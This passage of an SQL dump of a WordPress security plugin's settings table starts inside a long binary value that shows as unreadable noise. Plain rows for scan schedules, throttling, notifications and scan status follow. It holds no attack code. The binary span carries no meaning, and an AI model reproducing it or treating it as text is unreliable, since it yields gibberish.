M{ckqI:~Oj:[\'w#wJlCnⳗ9\r_H8/\"?)ŐD||H/𻀯\0U*Y.Y5\'O\r[OĶ#hf42yy|S_||;{/oNw֗Ap|{2ߩ!?￾j?g	?,~t<W~rs~?\r?^uMxȡcxh5urxDYģ_x]<{Oޯg:aLJ6UϞ*-|i%x6%6Qxy^9ئ_qT7#t\"TmM5	VH} Ak;A#膟\'>$l̙$l|9OBЏHo1v~#2G0o`E0M0U\"	&	M3 |ٙph8`iz``ٗ`]F 	wR-H`7Jp#8m\0On!E8v\ZMp=CpmzEpJp+|Lp\'N!M8$*;\0k!8ȅp>d5ŷoaZm	e	ЮBNB!|[4rK!A{5$D7r	7`LBn!&Nz	BB!t.!l_EH\"d\"df2DB&pG#=B\'=pE7E>-%o%o.$p)_PF#TF\"Tn\"T-Zij#	k#<JxfxnP\'Գw	&yZ6=nC?	}$@zOY	ޜ 	Ca4DYW넯d60sDNEу\n;)c\"aG\\$̻#?ޯ&m<D\0 7MΏ\0RIeZD	\'BwPY\rcKZM`F	\',gD\n {hAdNAez3OW G5aE*a1ɍ4l\\BX)V&CU\\`U6_jSTjq)QR@\\{.0Qǻ%nDbBϿAoo!n\"nW9w׽ Fu\r>tfMO\"8dN<PE4ZH4Q@4I4H<4Gxh Zʮ▉V5DND+`pt1\rFN<rѡوW#:FM]zwגnDDC󟉞`;u4+F=w?J+#VH<JD\'>I%v*ʈ^G[&7\"[\'Dpl\"2Mj$^$Fj\"^{xI1\"bS1bB\01Y.1ELGL/K8|9B˅xh+1ˀDL\'sCE۫EbW,xN,q#qĊzĪ_!׉5km<F|B|TPN|^NXOu`nGl(%6xO|A|s*+3{.[\'7W;Fwލ^;b?- bJYE\"y{mϼ#w\nq&]q.ğGqqVI|\".At0\"$BD\Z#\"߉=D)\"QO$1\"O\"&9Md#%rQD^h\'ǈb=wwQq-QQ7AT]\'.>{N\\#. .\'.o%.\"WfH*u9U$U ImMi{aIpn]\'i7Ika?i$m=i3iIS	.u]M\0F/[=ҁ\'Iƺ$SC$գ7PUl9·Io!!^%9wΓ\\ߒ\\Av$$Ok7HX^O:\"4$&:JR}J8M~9D:j\'#Ր|mIAUHw&]\Z$]%!!],#]1$]!;\"H׼ȍ֤HKBIQ|R~R4ts*$WHUu-<)ȅO$#IfHIv;9;G)\"eUսI䤂=RwTcAzM*&]!U7*7j6GjO =Ҟ!=O/2&5{$5_t&v^Ajit I%-\"ZZ1cIVƤSR;O;O>2IU:oA1YoIS`̏bMqJM aّYI\0)	A`K$؈:	IȔFD\"x%$$)DK:ؑh_h1PVHbi!qo8\0ߚ$0%	I1$1$-\'\\$l$WƑR2~_JZVbHINzŒUnl\"ԔUdZY1y)ƤYUND~!;|g{[ԭ[^\"o%mEV#\'lH6M6~K6}\'m5#K\"Aid+{>V!o%ޠ|&aKIޒ|슑=dt$D\'\Z$@ȧm\"6M$nq\"ZۏϮJhrrP2tl}ЎF|/9`,By.rr#9ԃH`.WݓW/9꒯&_@RQ0fkɱ	g[[ȷRBrjir仝=6rn5rA\\$1Nܭ\'KZȥf6xCr!ry5\nJk*]ɵoRȵ(ri(04q7!9A|M~&%7o\"7`_)ޓ_wo۞\'=ɝjr`rr4r0f7@%%]\0rϓ3^Mdi\'yb{^ψz	oO8wT.۟%.\n@2(3`.2BH\'crȘds2NL!OL_dW2nI(-KdF2%!	%s5Gcd~Yֈ,8G:0Y(j!YTd;,[h#\ZJQ2#ȆRy%`EMY-hLQֺ)S)uwRjP6_@эxO-AS6S6l>mAe/ԙbeשk]-ʮ(`-_\0ޢ$FO)z)F1g7S)_S,=+W|:rjbCm=Ҥ8\rPfRuvQz(.)Ǵ3(nJA9J9aH91r/DPJ{pחM_E	ƺP3(S.S.\"(K(GR)]+2U:r	%3%#]Hy0rsОCsĒĔ1mDU \'JC6%3$%SlOddYܣdSPbR@J?j!hd{RJ)TlɡT=TTrl\n)5ƪog~g9sa\rņ(9bJ\"jKyclOy{N#.=]!4޻S:R:F(]AwC\"/ӊWѓ_$|ߦn)%iS)\0*eeTe\re잂2-emDsz9s\r+ʗ\03ʄjD^D\Zm74˔)Dm.ߢ|K|M,-R\0(o\n08yJTwS (0ػxx=qAO x\n͚%S+O),yB>6JU_0SIcGb)k)O0_HS$I^\'Er\"\'(4)EYL,\'R(KEAU]ʿÔZKTU%585W?P5R+S4zyUW9u9O?4[v.P{G+mnnPw{R\r6n\Z\\C7ojdI59E5Z_ZjEwv^vTPq9TTy3˱Iq2k*1+(MυꮒCu	dD=Ոz[޴a>#iW	5̿6G&k	멁ߩsiG\'tMjSjm굍`5FN7S^^F4Sc\\J/Ʃjb-5njĄij_}Ԕ)%Ԕ,jsWj.5-IM+Q3\n^S3FS3\rR；ޏ>S~PjaZ8X@-+mΠ<>>D-=J-Y-RONQkQhjqfLԧvS\0Omv\r7NmjD}OmTS\Z]S?QP?^~*@զ<=<A>:*:Q%>8*uFJZDB\"\ZPg\'\\{3ԟyԟM?Q瀫ǍׇT`)*XG\"O<b*HuyQqTLHTV*HenFPYT7aJM\ntTY{m\'U1yxFWMK7KS6\Z<iMh9Lӄޡ8A[fN\Z#62i0/i4~m\Zm4m|V*Mȝ*m[	mK?ڎM]]Kmwh{QH3\n7}&\r,R:,.,4+4[>vpvtA+93i.ճc]z8k:q͝B;QF;yE;JyZM;M}:ivhM;cwgILhӂb*iAoiX]yvJN$]h%c8ZT}5dڍ81-FTM۬O%4HL/Ĥ9ZDZJ-Hj@K@Kj2ve\Z&22hwiTCв|e!i/$ӊ6ZIv4eVgЪިѪӝhul;cc[ǂ\'ifZln,-Q)Pګ\rګB8e$\"A{Ў6М>ܟ^@|3M*cкW;hCtHnm>6J]mmu k9[L	m6mCKy\0s?ii\ZF4\Zd\Z$\r֏\'А1\ZwFxFDШ`\Zm-ư1=i\\]4\"L	?4_Mf7I\'4w460H[<O[@2@_𖮪\nվb\ZzXg#}o}}9MתOyKIgbƐ[M^[/Ow؂;Yro!ʑ\'.ݤI?=n7K7;QK?dH,O֠[MQhuQ5͖n~AJwEw,;z#Gu\ZNN4a3YaJw(yzq;M?qotϊ(A=׏Oo~ָ~=WАFzH<:C~_r~Qe~4=\">==kt3=R~}4=*=IO%㣵)_uۏZI=m8.Wg_EϨ-gLbZz# qzP\'=CC&dLeBx\0y=T^B7ѫ?#_O_h_@x&}czSZNz--^7Z7{ozIzG&ǘk@HP0}t!}X}\"ɀ>eRD\\_OA5D;3MXLСt\'::bC:f{њ:tk:z:@D\rt,چN,5-Db$H\'TtI:C.Ui{_>t~\'~xD3(t&@gl>ً:Y\r[I1]t1@?Ctdm/}/EЗK^EJWfj\'C\nPK`ubjc#Znf cEz\\vj	.C\'@=1t\'5*?N0vDE2v_ػ+cax͆abJ}wCfXQ3g##G4GR60,2OYos?Ùp9pI>p)8.|p+3P\rnG7q5qyڅ`xeex=0NO g`/~\0#Pd eYf{8_2)ud\\t#TNc\\s~θNfD3\"He7zQ3#ʣcĈm0\Zڌ5{ɥ)9T35Nw}w9]{݌|FѼ\nx\0xFپ2\'bŨQqgT3=3jgԌ%2ju׌GTu\'>3jE1\Z[MZWMM0F@Fs{od4c͂nƻ]?r8{F[=%#p*\0腕1512\0c1y1tvι~11_}1%c\\K80>j3>M1__ɖFq81gX\0\0eg2H%pw@n@=0020܍,`\'1p[|A0(7t4m!vVàN0*ܕFbpLZ@;|ac\rR1!PPf,F82f+ϲ+g/LOGn1U/0U0UfLLuX s~#0sx\'SDednn<ܲ~ٌ?pܭgs+~\Z=MLAAXti\rgҙ3G3N2-1sLwm-Iiw>~=>wi_ydh1k0K1,372]73ݞc[2O(T*LϝG!טgTg0UL){Y=3Yf@>3yƼe?Kd[G1i@fr?W-W.1b1`F\"ћ1c[љư7ki\nff3Aļ<:Lafc1̾Sny̆ي?\\q83X&3\',Rb9w2<f>$1K<R5fmJCf:}ZӉYSŬ)^bo`~1낿1?|rw0l/g>z|w)|e;l$0<`=Bg~Kb_`<}f~8T\r{ٯy9*9|;ǜx<9w9b1t+Ek|c\"s>}9g)g (&	΄1wL8#!0q<&;& I${2\'DII3晴d&\r c`L8?2LNeCgr\'0))[e`Z2!sERZ=yֲ/6Y:V,Xt3,o&c$kSkSYOmf:`qe2u0e²}uH}uH+e`Yj,[!œejHkrzr\"YYS,g\ZR7r!Nسyr?rgYS1ˬS#,}\0̵,&V@+9D\ZUVH\'+$;R7Ⱥ4ͺ4\n_e]9ǊeE6Ċn`EWn5bܙ̺\\?`ſy͊_4b^e%f`%5X~լqVJYV*(8~i,be	YsY9mT+вU8_z;t=VlVewV[{VU5U2`:*Xo\Z\0X92OӒUq)	~1w\rkW7IOXo_XWSdV\"ի>fcU(Y}ʝk+;XYq^/-oX߈67XӎXӤ8]֏WX֯eUP\\Hkn&5\reG|d-g-LZ\0;Y,\0~di,h~XY`P7XY3E`,r\r%ˢn!\"m+vM^X{WX\\q\ZKP%%r-g.d\nM\\k\'K4ǲ73,YKr/[t{U:^Vaׄq\ZZclRƳ`Zډ9W2{mԇt`&M7leogoϚcoߴm`6(>6薲&:؆l,&@2T6)+bTaD;feζ/e[E[b`ۘumlp=]\"mdHdMub;>e;RN&l\'9ٶ}ܸ}BeOLeĄ=اl*w;>/j*\\_yLz{E!Kv(;e;|:J?$;\"QǾzx}mڿ3Hh/ɎIc|mf뫳Kٷ؉^vꛭ0vv&}Gr}gye}qKbawO\"@vjxIvѬO1W3+Y\nO/v	svzvt-p~8\nc?a?re?hd?a?7b?~t;v-5^gI즵fKHWv;دg^[?[o*o߱[#mH}vG.]7re3O6;.!\'!\\{Qt)MlZ7{%k,{r=}+o\rx۰?N;P6FlHJ>F߹\nxq6CM6dr\rl%^~S܄&6-hc%\nle4{i$^92yG}gգ8\Zk8kՇ8qֽt嬏dp8\"\n6ު*g+(%ggm.gІ~WcTc{*%\Zs0;spvmcÕca;ȱϱ|~cc>9,{ȱPʱ1slW8vǲ8vi<_c]/xs&ǥs|\"s-$㖚qB=xxq|,9>8Μ38g9~&fll9NvN	}Npn9\'f!(\'I\\Ź\\͹ʑsE3\\\\MZÉlsnf97=/rnĀ9íĊ͜d=;5DN\'l\'d\'mN,ݱ=d}|\']N`\'Gt_)_)b8E½^}Ev<ȩxy&0>S{SSgVǩN<Z.<Y-k4X4qq^q9M\r6IW78\r8-\'9mW\"9mmv`Nԓ_z}X9=/9ɜ~OX׏JpWgtl+gl#3{3>;ę!p&x7]\Z,3~ΙnL9ęL̐ٶ`w?8O_Ŧ9uO9G8w98 A]8-`^rpyou\Zb9l[ˡ94}mpy+9z\Zp8!@!GP`98GW#ȑ r92شw\ZF]eBVr\rs׭]oӇںurcsg	sZdסp͒J#6ܽ\\C\r!5\\\Z\ZsM֌sMX@A3״(tkj5SFrQViVmV|׮u0uȺu纆p]q݊q#K&\\oZ֋`P\rBqksyPXd#КCFKn(6Ↄ+gp4pMEܫ)xn7nԫh+7\'rcX,76-.{M<+&}+׹i<n79n:Ǔ5fl5\\r[Z3ninJ7_-:V-rH0b/[~<\\>I>:}d#1TPmX66Rm)MܦC-W+wVV4=m,˚ە%q$R`.;2Y]!;Q;zņ;	~sΘjqgMqg	٥?\"?\"M?wZK΁;_t;SpNs]>\\ UゑH.~wpK_$.ћTTr1F.>:Kt%d..eq~.w\rjs\\%W\"sJ7K\\^rWPZOe3oOUڴ	orK5<<\r=Z!oj?O+.OtxbosJ:OIooLvg֗];3ܾg(w\'?\rϨMg3i];);(w+g.g\'goų`ϳcĳe<<y~nz򎼊99&iMVyNh i)sr2`myx\'y\'75<*|_|m%9..Y#yyam+yWixyKx1?bd5Xw/\nU:x+f^^0/u/\r<ˠy2xw^yxYxYy9Iqͺr^b/p^퇼b\Z^;^+۝+c\nx^Ż*^+҆˫ȫ&oI:y\r\'x\rm;y\rދ#RK&#iQ^t1$u^*}gp.׃$>>1My\"x>_x%AgF`&ox7SA{/&PxBywy`\'9om/9|1O\rBoW+w1PA\0yPA<PVf\0˙EzHz~zb+zG1l1طy=v<N/c.y͑<~HOOZ$D\r<AOShy\n1xoeoQ,᭔yUvYU>*b_w|U-__9k5ͪT6.ׇlN78MÊF[7oBte4]߃woq_^?j?ŋ\0`7M|\'|S|*m|ߥ|<52vl|g%rwKQf=Z=\'O2nOJO򽍳މR\Z#~\0Џ1ʾ?1+/mſOz*6_N_GlGn_\0z~Lc-?vۼ;\"ǢQ1~bu5?鮂;K\"~?mEY;tpM+<9~*\Zq#QtIj)Fo7NJҷ,[L/Z濾\Zcdo_wwzLw{՗h~&ȳ hc<?O}Nɟ~RşM	*Npҋr |Г>5>tM	ZCQpB\rc_cX|l]\'1EI|<ϠO|e>=5ՍC_|_#@ejLV.Xsy`͓-kwi>].h\nUu;=>k\n[\n\\ͮo[l~/J#!g٦\n})j\"	v.	vwiW\n&\ns>z	LOLZ.yA\\$xK`)^,(Xl9YvZuNj\'pnu\\m7{G8#N]x-8ZŢaϛ7\rkAK]A`]ܱ(zo)_\\\nBB``A#(տ%w@pKpUYpzt zAL F)~	RR_CiN:`;Ac Q  S&S*{nA<Aa@#BP~{2㨠ƷJPU*<</H\rvYP3U1sAv+Z}WvF	mjA%AG$hoLt)t>	cmnh>>\nzz}=F:A(Dz(LhU]_*U%\n	.1_`r`Rj\"(.!K,HKI0wF\0\niW;&(+`OpayI\0+@:U;+\'\ZdC@^- &Է4CfW\'`X	!>vUX )},ft,%FG,9,k	VcjժV՞\nպB3kᗄQ\r^pB}.\'zz;;}=B#oLChQh\"\"4\r+͓M_3V	B57\r[hQ&_:n&<sli9	XBdqL$<q{Vx <f.<z>zzB38tf9ᙸ|aPՈaHAb6Oxq.Yx0̵^n&<*^w^G\'Q\07avLxCKga̾ta̩X,a}¤䶫dn0#LR.L{+x,b\"{JxO7_xK(̆掯毬DE	l$¢w>hkaI4BXͽ/֢ͅ[º\ru:@a~DX\'*|)|6cϫ_F\nUMWyVc}f麰mz}[=x6\\\")W?tl#*XR8GGC;Tp*q(?i>Nk)\nݝ!8&>&Z	(A$l&1	6#:)kDy!ꀐ|Zh|\"dm.!Q`kW(\'\nNB])~ʿ\n+KBpg\0\"NtjTW,eurE}YFh-h-eQ>-i[tdSMlі#-+q{ 2Ut0GdֶUdZthS8W\'D9\"{-Nא-Lt)rz*rQƊ\\w\\D9\"We[]CEtj?G7VMN(K(:#:;<?Dn)]H@..%PZ/ܻFqTA$N];T#vU!4-2|!Eg鈢qD76nnEqt(G(q!Jz)JvÊ22=\\(;fTh((,*tMDDR닢RҶҟh5Qr=ל=)OT}>_T=L? M.=YZ=uh^ly#zQ<++9+z}\"j=^\"jm>&zm͚3E^ˢ.\r.n@G]-?!w>==\'D9/\Z<\rm<-\Z._\rƪtE_ɣ<d|蛱 v䈦=DAߢ`hna\\4;-,GFoLE\"pP~A.\'\rX:%auD^D\\\'\"}&\"?ћDLKuIĶ9!6{xnLH	8a\"ɟti@$-RL׊UUSUmū~9U5Īqb\03\'5;\ZzZFxCwn|xcQm;[;ĻĻmO\r_{Vl+bCbSqbbbzg-Bl);՟;+vO<,#S]4qg8J\\.igCDc/?_J9!C|[yAq_2AJ&\'oouIs$C$NNM\'?8,NZ_\"-%Si;6eBq^8/tXC\\xIM \"I\\kKhqهNq#88$; tY\\9e+rŋk>l׽x-~\\^\\U\\O~+~:)~$7ԔH^glf⦅OfqsLqW+Y8q˶_+oj;J;~}UqMq琸xp6Y<.W[\'_4\'k_O\\O\\OgGĿ<ĿWΊm+¾1ШFCHR]J~V\ZD!1y{ܳYYw%bVI>!f͋E);ŋ|I{RU+^JT~LIVGI46K4\rJdpDDdSdQ7ɖA=ADcdk]-CA>ނ\n}Yc#Vbz@ Y+LNX-\\.CJl\Z]$6L$׏HlKl.I7IӒ%|equiSsI[Kgk+k瘣]$@8ߑ}*	2ؒibCL\"k$\nQr-YQrf+2-$&YY-*aInHnhH~$飫%M;;ѯ$Hrn.Jr\'$yF.IQSIIIakP.)nwHJ%oK*=I*r$U}aՎ8IDDfܓԥa$uڒI:䉞8V#y攤<T i]AIN{G)-Ns%$HVa%c%dK2d2E2d{dn9Two@YJ=8JjBH0\'%*	5VB:EB\Z_%cJr뎄:!HHXׯJJD?$biݨD2a+7J$pźC]֒Cw%UMUUT5@f\'U}j@HJ.HYK^ͷ~II`̥ۦ	RNtOv԰\"Uz/5&w&RӧRنRվwXBz:/u&u\"JKБKW\'^ϸ/G#uUҠэsQ!}!I/UKÃH#W}WkupF_9*騔LђƉf7B	M҄n-/&um`m.$Ҕ\\iʋjijb4mRW%M-ͼNzǧWz7I4YzVi^}4{薕xs_ZڰNZއVH+wOK+[J,ӥU)Ҫ7ZҚ҇\r:FiOYx11G%}Ju+H\'HIK_aKWH?r^,dH[xG$KikV:iGgiǭ`i\'Wp_}RM7@B]?GoHjZҡG:ҡAtptD0-~.V,,CtPkۼW]`=%]HJ1RȵR`I\n@HP)EEjtX)6ew,_I	\");)3XJM;\"VR:o!_\0HRFӒ\"oR	]*Ke7\rʄ5ҥGKP)ZlCٚ\rue\"dæe2/\rd2ev22@l;2}q>roT!3L&_N61eo+ 2u2#<Vvn̴+3;!33\'H0Yz]vhJ0AOf_/_ˎ\'e2W)2[Q2ޏ2Wn[9W-T7/y ;ů|ZO|352ɲ@bY|\\X͏dSeh+Q+HGYk*\"Rvm^ٵeȦ<Y䈁,:,:,(%ݚ|,\r~&Kl˒ԣd)e;,\r,Yֻ]!Y.2LW#e<dųBYHVIV:%+)\\({KV$,\\jKd=lnreNŲ?rY;gdz2d/=^5^eeoY6kFYeY;)dz7z1eU\0\"L6I6&}֔}[̓MUȦiWduYXlÔEknD雲?òb_\r ɐd{e(?CMWp7;dNF+#>U/dp͢FFÒdtz8CZ#c+c18;d@Q(pjde\"k[ULQ&J/ʔ\rejtmٿ|3ٿ;rA|G`||MN|\\nuwɵdrA\\\\|q4Lc|`|\\wPMn#,߿n\0<VnG[n=Wn/7<+7~Gn֝-?l\"\\;+,2[\'o?#?~[~6MP\\@lQ?˝N4ȝF^OjOH=7=\n&f><χPr&r_gYX\\ȗ+TxF C_)IGjon<a ԓTqE:<gAJ$\'S~?@SۣyIpyK<oD^,/GKK+ҡ!y:OȳY8Ik!YZPy_Um\nYX ױ oem.v׃fyC);+;nYAZaI}||S>*!Ǣc?/ɿOlO˿ȧRgGgnȿuݑASb	\\ה*^ Tɡemr褳$J1r~p^zC_cw1XwДlR&\'ѳ\0;9u&gN3l<9Z29/맜a7œ\"HT,	5\'Kw˗DJ|vBC20XY6Uo>P?XqB8DabDicbK-XK}H-b\"I36S0M{U,]絧}D/obߧ\nNKH{TaHaQ=ܧ=械ߴpRp)pRp5Vx7+<9C^>\n/?mp¯Cﭦ*^sTy@<SnU};g)΋r).G*B+SbEx2VqcJqe(Xq\"nFq\"v@7lRYqrv\"q@t\"\"EUH>Td\0)R~T̄*r34ˊk]QIWQn()*G^CJ\"Eefuꨨnx󮢱^K챢l⥎UMk3׍-${o[E[t3?N蚹ިpW#S*>+(jl)btbl}dزbyիwV=\0T\0\Z\n\Zb@R O)PKx\n6a\n\"篂**)k|~Fg*]kV\nB;PޥPR(f3j\0Ŋ7J#MRP\\u%^jT+w+]t^Da\\czN3NSSأ\\5Ԣ?UW5+uՕ=+7QnnPnLVnJWv\\ոrTOv_OJCrK>-rrߵ*8 \r<ȉVTQTS*;tRZVZ(mΚ+N*cvE}U(#Nl-P:Sݕ.Tk/\r\\選rئBPl\\<$V~}RyM\'<+pWԅ*`z9tʋ\rʰAGW[_(#+\no)K)ofS(oT*\ro)K+5t)y221[mVemRw*ߤ(Z)KW(K}ʚ\'5,oovڕ|e퇲NT>ݩ|{M蠲!WHR>8|~G\"gV|6U_}TOnЭlWvR݉iʾȫʏeBr?TUYQ\Z##p-_%r\"kr2D~UNӔluWk))3sm-.J\0J	WBn)aKJ8UܥP\"[(Jq%앒$\nPm*)&Ԑ%\\ɜu*hC)OXr!bq\Zx >EC+rJi4.8\\CK\"B	NIIHT$\r%PT$RtҥzѠPznng@(%虳zCQe軣@(hP-/ˠygZ`|WA;=]Лz,~_R\r`F]Q}rp`<=۹`c$L5i%\'a50c\'Nyf`1Xt:eX\0]ym-=v`k0e,P+G,}4\nnu\\*en1_<﯁R^`tY|d;iC}gF}?=6&q:lUD6uNm9>qaot*xB D\'Bo@H*84JLpDg?9eD;A_eS}b,ؽ\rqVBEwU8b$N2$HRggP#87k=}.Az\\H_<2lKw2o~\\\nWՕpͰnV@T;p37Idc.=}\nBQX)<MG\njP|<<q_=yTCx\'\Z;~Ibp\\\0UGW_+\'x}F@Q&4jBh_@p2M2|w:[Ows|z3*`v֚aOYJ\ntB\r{.>Nި|\ZU~t/;΢8`\'/Aq!vQ{P#7WhpGeq8ƬtGKGJ>kU	/\"pb\Z/Vt)$MI6NiW4ph\rQ4[,`Q9CWh~Z\\-)Z^|izh2F2*C;l/:pK9.\rU!i=tz:WMDwQ\Z=\\G8=ߏC/Kw5zrBV\\7L\n5?{gMCߜz߃~I1@?nL@+9nx[bq_wp5{o{m^44_p?3x0\Zr6%x8ãNvq0[w\n}#y&<$Cɚ0?`=1c[/5eW+̲YSzK=f`Nbo읆7{oM?ǻ5e{e%j,BXd\\\n|şI?G,\\eϻ㳄h|	\r\n`5+kcո]ҿ_VX]\rk<W`Iob]5?N3n`Ky~Vٌ\rFI~dw~H3\0t${ȓI4?n.}r\\E=3Iig5˔zB}:H9/TPi@ѤMҠqir\\[B5\"i]J!H{Y霉a]7аwIo	=n&dL!/Ȱv>\rL%40M*J)\'iʢd^J&$hځ{4|+M7/d溚dnLH\r&d9͐mE}S9,%6GBBEF9ϥ%\Zts-M;L˜ywtsU\\Z@ՎeyŇeZgN>䛹|O%?05;6XPږ@}ӂhڇ(?K|Xc:M\'P52:H3/PTk\\	tjd+7(n1JP$JPkEl(Bg>J-Ԇ:?b)Q5S1o{A]J<(kv\"]u@^ 6Lv~B9FGʝ|r[]274PTDzÅ:*J]ORg_*\r2s*\ZHeP-Fs=U;2uIGһL ?fPÔ(-oRs~hKmKj_ګOuUs@\\ًʆp];-X!rSYq?Φr=VgU.yɪ]GSVmVuXm~\'eA}<љАJYpuM`<ڄeO``56#Va<x	#\r<[l̖x<a:O\'ڰd<Ý\')3٤L^3&i~ώW`M<[&b+,p{^0ZG;5t/_W˃?\rRmŮ&_ͫN]eyu-qِ=c&Bxe(ղ&{\'?bʾOoPf.@-\\~9]wmݣQq8~C8tq9ީO{pؚt˨6|s&ٕg#G_8ҹ#	c\r>QS?sLO>xO[ñ9VOo+pݕINMy(sy|qh}Ô8&_fk-|{Nѓw}||..(̅;\"ü(~ؖΏۺ\"pu.7IE\\Ѝ+^sa~i;n#fg\\Ńk5sN~S؅;n;m>rHn|Cp}4@?ֿ%MώY~^g3bگQP6]Q>Q\']jQ}!eWd5!Q䄋vhg}O\Z8Wt\"~XO)ݎ2줱*4$?C_Ā(EH<8(c*AƙdDjIˣdJLm6ފ5VQbuJSlU6Ķ־w]T)[dAHYxU8*%ʲԌeiL8ӫ4Y5tT#;WIɺ)	_+KY?{W4Lٺ3M(Jzi(;%X\'JzLҒvИ>rx\rkx+.WZ9D5?TPX-	+NH⑋XV()k^KJ`\'c%uFSi#$ӭHIsɪ\"Y%r6\'A\"$\'*Rr%ש@޺ɝR?T$R01J\n\'ΓBUyV*u\nq<EwIqMHIgy:J<$cʤ@I~yTx{HŶRY Uwe[BjޚKMZ=~B;NEMȓ9(\r{KۏО%.i|2 -fR+H_i>Gf͓gk{|ʷQ1]:HG\"nK\ZS MЧ$aͩfl?wZjȑ\0','no'),
('manualScanType','onceDaily','yes'),
('max404Crawlers','DISABLED','yes'),
('max404Crawlers_action','throttle','yes'),
('max404Humans','DISABLED','yes'),
('max404Humans_action','throttle','yes'),
('maxExecutionTime','0','yes'),
('maxGlobalRequests','DISABLED','yes'),
('maxGlobalRequests_action','throttle','yes'),
('maxMem','256','yes'),
('maxRequestsCrawlers','DISABLED','yes'),
('maxRequestsCrawlers_action','throttle','yes'),
('maxRequestsHumans','DISABLED','yes'),
('maxRequestsHumans_action','throttle','yes'),
('migration636_email_summary_excluded_directories','1','no'),
('needsNewTour_auditlog','1','yes'),
('needsNewTour_blocking','1','yes'),
('needsNewTour_dashboard','0','yes'),
('needsNewTour_firewall','1','yes'),
('needsNewTour_livetraffic','1','yes'),
('needsNewTour_scan','0','yes'),
('needsUpgradeTour_auditlog','0','yes'),
('needsUpgradeTour_blocking','0','yes'),
('needsUpgradeTour_dashboard','0','yes'),
('needsUpgradeTour_firewall','0','yes'),
('needsUpgradeTour_livetraffic','0','yes'),
('needsUpgradeTour_scan','0','yes'),
('neverBlockBG','neverBlockVerified','yes'),
('noc1ScanSchedule','a:2:{i:0;i:1789311054;i:1;i:1789570254;}','yes'),
('notification_blogHighlights','1','yes'),
('notification_productUpdates','1','yes'),
('notification_promotions','1','yes'),
('notification_scanStatus','1','yes'),
('notification_securityAlerts','1','yes'),
('notification_updatesNeeded','1','yes'),
('onboardingAttempt1','license','yes'),
('onboardingAttempt2','','no'),
('onboardingAttempt3','','no'),
('onboardingAttempt3Initial','0','yes'),
('onboardingDelayedAt','0','yes'),
('onboardingLastVersion','','no'),
('other_blockBadPOST','0','yes'),
('other_bypassLitespeedNoabort','0','yes'),
('other_hideWPVersion','0','yes'),
('other_pwStrengthOnUpdate','1','yes'),
('other_scanComments','1','yes'),
('other_scanOutside','0','yes'),
('other_WFNet','1','yes'),
('previousWflogsFileList','[\"config.php\",\"attack-data.php\",\"config-transient.php\",\"rules.php\",\"config-livewaf.php\",\"geoip.mmdb\",\"config-synced.php\",\"ips.php\",\"template.php\",\".htaccess\"]','yes'),
('recentServerAddr','a:1:{s:15:\"104.255.172.234\";i:1789251108;}','yes'),
('satisfactionPromptDismissed','0','yes'),
('satisfactionPromptInstallDate','1789251105','yes'),
('satisfactionPromptOverride','1','yes'),
('scanAjaxTestSuccessful','1','yes'),
('scanMonitorLastAttempt','1789251241','yes'),
('scanMonitorLastAttemptMode','standard','yes'),
('scanMonitorLastAttemptWasFork','1','yes'),
('scanMonitorLastSuccess','1789251241','yes'),
('scanMonitorRemainingResumeAttempts','2','yes'),
('scansEnabled_checkGSB','1','yes'),
('scansEnabled_checkHowGetIPs','1','yes'),
('scansEnabled_checkReadableConfig','1','yes'),
('scansEnabled_comments','1','yes'),
('scansEnabled_core','1','yes'),
('scansEnabled_coreUnknown','1','yes'),
('scansEnabled_diskSpace','1','yes'),
('scansEnabled_fileContents','1','yes'),
('scansEnabled_fileContentsGSB','1','yes'),
('scansEnabled_geoipSupport','1','yes'),
('scansEnabled_highSense','0','yes'),
('scansEnabled_malware','1','yes'),
('scansEnabled_oldVersions','1','yes'),
('scansEnabled_options','1','yes'),
('scansEnabled_passwds','1','yes'),
('scansEnabled_plugins','0','yes'),
('scansEnabled_posts','1','yes'),
('scansEnabled_scanImages','0','yes'),
('scansEnabled_suspectedFiles','1','yes'),
('scansEnabled_suspiciousAdminUsers','1','yes'),
('scansEnabled_suspiciousOptions','1','yes'),
('scansEnabled_themes','0','yes'),
('scansEnabled_wafStatus','1','yes'),
('scansEnabled_wpscan_directoryListingEnabled','1','yes'),
('scansEnabled_wpscan_fullPathDisclosure','1','yes'),
('scanStageStatuses','a:11:{s:13:\"spamvertising\";a:4:{s:6:\"status\";s:7:\"premium\";s:7:\"started\";i:0;s:8:\"finished\";i:0;s:8:\"expected\";i:0;}s:4:\"spam\";a:4:{s:6:\"status\";s:7:\"premium\";s:7:\"started\";i:0;s:8:\"finished\";i:0;s:8:\"expected\";i:0;}s:9:\"blacklist\";a:4:{s:6:\"status\";s:7:\"premium\";s:7:\"started\";i:0;s:8:\"finished\";i:0;s:8:\"expected\";i:0;}s:6:\"server\";a:4:{s:6:\"status\";s:16:\"complete-warning\";s:7:\"started\";i:5;s:8:\"finished\";i:5;s:8:\"expected\";i:5;}s:7:\"changes\";a:4:{s:6:\"status\";s:16:\"complete-warning\";s:7:\"started\";i:2;s:8:\"finished\";i:2;s:8:\"expected\";i:2;}s:6:\"public\";a:4:{s:6:\"status\";s:16:\"complete-success\";s:7:\"started\";i:2;s:8:\"finished\";i:2;s:8:\"expected\";i:2;}s:7:\"malware\";a:4:{s:6:\"status\";s:16:\"complete-warning\";s:7:\"started\";i:2;s:8:\"finished\";i:2;s:8:\"expected\";i:2;}s:7:\"content\";a:4:{s:6:\"status\";s:16:\"complete-success\";s:7:\"started\";i:3;s:8:\"finished\";i:3;s:8:\"expected\";i:3;}s:8:\"password\";a:4:{s:6:\"status\";s:16:\"complete-success\";s:7:\"started\";i:1;s:8:\"finished\";i:1;s:8:\"expected\";i:1;}s:13:\"vulnerability\";a:4:{s:6:\"status\";s:16:\"complete-warning\";s:7:\"started\";i:1;s:8:\"finished\";i:1;s:8:\"expected\";i:1;}s:7:\"options\";a:4:{s:6:\"status\";s:16:\"complete-success\";s:7:\"started\";i:2;s:8:\"finished\";i:2;s:8:\"expected\";i:2;}}','no'),
('scanTime','1789251250.7153','yes'),
('scanType','standard','yes'),
('scan_exclude','','yes'),
('scan_force_ipv4_start','0','yes'),
('scan_include_extra','','yes'),
('scan_maxDuration','','yes'),
('scan_maxIssues','1000','yes'),
('scan_max_resume_attempts','2','yes'),
('schedMode','auto','yes'),
('schedStartHour','15','yes'),
('scheduledScansEnabled','1','yes'),
('serverDNS','1789251108;14400;104.255.172.234','yes'),
('showAdminBarMenu','1','yes'),
('showWfCentralUI','1','yes'),
('signatureUpdateTime','1788446034','yes'),
('spamvertizeCheck','1','yes'),
('ssl_verify','1','yes'),
('startScansRemotely','0','yes'),
